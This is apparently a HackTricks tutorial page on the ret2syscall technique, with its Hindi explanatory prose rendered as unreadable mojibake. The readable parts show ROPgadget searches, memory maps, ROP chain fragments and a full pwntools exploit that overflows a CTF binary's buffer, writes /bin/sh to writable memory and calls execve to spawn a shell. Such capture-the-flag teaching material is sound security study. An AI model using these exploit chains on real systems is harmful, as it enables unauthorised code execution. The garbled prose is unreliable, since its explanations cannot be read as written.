12 KiB
Ret2syscall
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
рдпрд╣ Ret2lib рдХреЗ рд╕рдорд╛рди рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рдХрд┐рд╕реА рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╕реЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕рдм рдХреБрдЫ /bin/sh
рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде sys_execve
syscall рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрд╣ рддрдХрдиреАрдХ рдЖрдорддреМрд░ рдкрд░ рдЙрди рдмрд╛рдЗрдирд░реА рдкрд░ рдХреА рдЬрд╛рддреА рд╣реИ рдЬреЛ рд╕реНрдерд┐рд░ рд░реВрдк рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рд╣реЛрддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╡рд╣рд╛рдБ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдЧреИрдЬреЗрдЯ рдФрд░ syscall рдирд┐рд░реНрджреЗрд╢ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред
syscall рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:
rax: 59 sys_execve рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ
rdi: ptr to "/bin/sh" рдлрд╝рд╛рдЗрд▓ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ
rsi: 0 рдХреЛрдИ рддрд░реНрдХ рдирд╣реАрдВ рджрд┐рдпрд╛ рдЧрдпрд╛
rdx: 0 рдХреЛрдИ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдирд╣реАрдВ рджрд┐рдпрд╛ рдЧрдпрд╛
рддреЛ, рдореВрд▓ рд░реВрдк рд╕реЗ, /bin/sh
рдХреЛ рдХрд╣реАрдВ рд▓рд┐рдЦрдирд╛ рдФрд░ рдлрд┐рд░ syscall
рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рд╕реНрдЯреИрдХ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкреИрдбрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдЧрд░реВрдХ рд░рд╣рдирд╛)ред рдЗрд╕рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдПрдХ рдЧреИрдЬреЗрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ /bin/sh
рдХреЛ рдПрдХ рдЬреНрдЮрд╛рдд рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХреЗред
{% hint style="success" %}
рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк syscall рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рд╡рд╣ рд╣реИ mprotect
рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ рдкреГрд╖реНрда рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред рдЗрд╕реЗ ret2shellcode рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
{% endhint %}
Register gadgets
рдЖрдЗрдП рдЙрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЛ рдЦреЛрдЬрдиреЗ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдВ:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
рдЗрди рдкрддреЗ рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рдореЗрдВ рд╕рд╛рдордЧреНрд░реА рд▓рд┐рдЦрдирд╛ рдФрд░ рдЗрд╕реЗ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред
рд╕реНрдЯреНрд░рд┐рдВрдЧ рд▓рд┐рдЦреЗрдВ
рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдореЗрдореЛрд░реА
рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╕реНрдерд╛рди рдвреВрдВрдврдирд╛ рд╣реЛрдЧрд╛ред
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
рдореЗрдореЛрд░реА рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд▓рд┐рдЦреЗрдВ
рдлрд┐рд░ рдЖрдкрдХреЛ рдЗрд╕ рдкрддреЗ рдкрд░ рдордирдЪрд╛рд╣реА рд╕рд╛рдордЧреНрд░реА рд▓рд┐рдЦрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░реЗрдВ
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдПрдХ рд╕реНрдерд┐рд░ рдмрд╛рдЗрдирд░реА рдХреЗ рд▓рд┐рдП рдкреВрд░реНрдг sys_execve
ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдмрдирд╛рддрд╛ рд╣реИ рдЬрдм рд╡рд╣рд╛рдБ write-what-where рдЧреИрдЬреЗрдЯреНрд╕ рдФрд░ syscall рдирд┐рд░реНрджреЗрд╢ рд╣реЛрддреЗ рд╣реИрдВ:
ROPgadget --binary vuln --ropchain
32 рдмрд┐рдЯреНрд╕
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 рдмрд┐рдЯреНрд╕
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Gadgets рдХреА рдХрдореА
рдпрджрд┐ рдЖрдк gadgets рдХреА рдХрдореА рдорд╣рд╕реВрд╕ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП /bin/sh
рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рддреЛ рдЖрдк рд╕реНрдЯреИрдХ рд╕реЗ рд╕рднреА рд░рдЬрд┐рд╕реНрдЯрд░ рдорд╛рдиреЛрдВ (рдЬрд┐рд╕рдореЗрдВ RIP рдФрд░ params рд░рдЬрд┐рд╕реНрдЯрд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ) рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SROP рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
{% content-ref url="srop-sigreturn-oriented-programming.md" %} srop-sigreturn-oriented-programming.md {% endcontent-ref %}
vDSO рдХреНрд╖реЗрддреНрд░ рдореЗрдВ gadgets рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЛрдб рд╕реЗ рдХрд░реНрдиреЗрд▓ рдореЛрдб рдореЗрдВ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ, рдЖрдорддреМрд░ рдкрд░ vDSO рдХреНрд╖реЗрддреНрд░ рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд░реНрдиреЗрд▓ рдЗрдореЗрдЬ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
Exploit рдЙрджрд╛рд╣рд░рдг
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдФрд░ рд╕рдВрджрд░реНрдн
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64 рдмрд┐рдЯреНрд╕, рдХреЛрдИ PIE рдирд╣реАрдВ, nx, рдХреБрдЫ рдореЗрдореЛрд░реА рдореЗрдВ
execve
рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП ROP рд▓рд┐рдЦреЗрдВ рдФрд░ рд╡рд╣рд╛рдВ рдХреВрджреЗрдВред - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64 рдмрд┐рдЯреНрд╕, nx, рдХреЛрдИ PIE рдирд╣реАрдВ, рдХреБрдЫ рдореЗрдореЛрд░реА рдореЗрдВ
execve
рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП ROP рд▓рд┐рдЦреЗрдВ рдФрд░ рд╡рд╣рд╛рдВ рдХреВрджреЗрдВред рд╕реНрдЯреИрдХ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЧрдгрд┐рддреАрдп рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 рдмрд┐рдЯреНрд╕, рдХреЛрдИ PIE рдирд╣реАрдВ, nx, BF рдХреИрдирд░реА, рдХреБрдЫ рдореЗрдореЛрд░реА рдореЗрдВ
execve
рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП ROP рд▓рд┐рдЦреЗрдВ рдФрд░ рд╡рд╣рд╛рдВ рдХреВрджреЗрдВред - https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/
- 32 рдмрд┐рдЯреНрд╕, рдХреЛрдИ ASLR рдирд╣реАрдВ, ROP рдЧреИрдЬреЗрдЯреНрд╕ рдЦреЛрдЬрдиреЗ рдФрд░
execve
рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП vDSO рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
{% hint style="success" %}
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ Twitter ЁЯРж рдкрд░ рд╣рдореЗрдВ рдлреЙрд▓реЛ рдХрд░реЗрдВ @hacktricks_live.**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред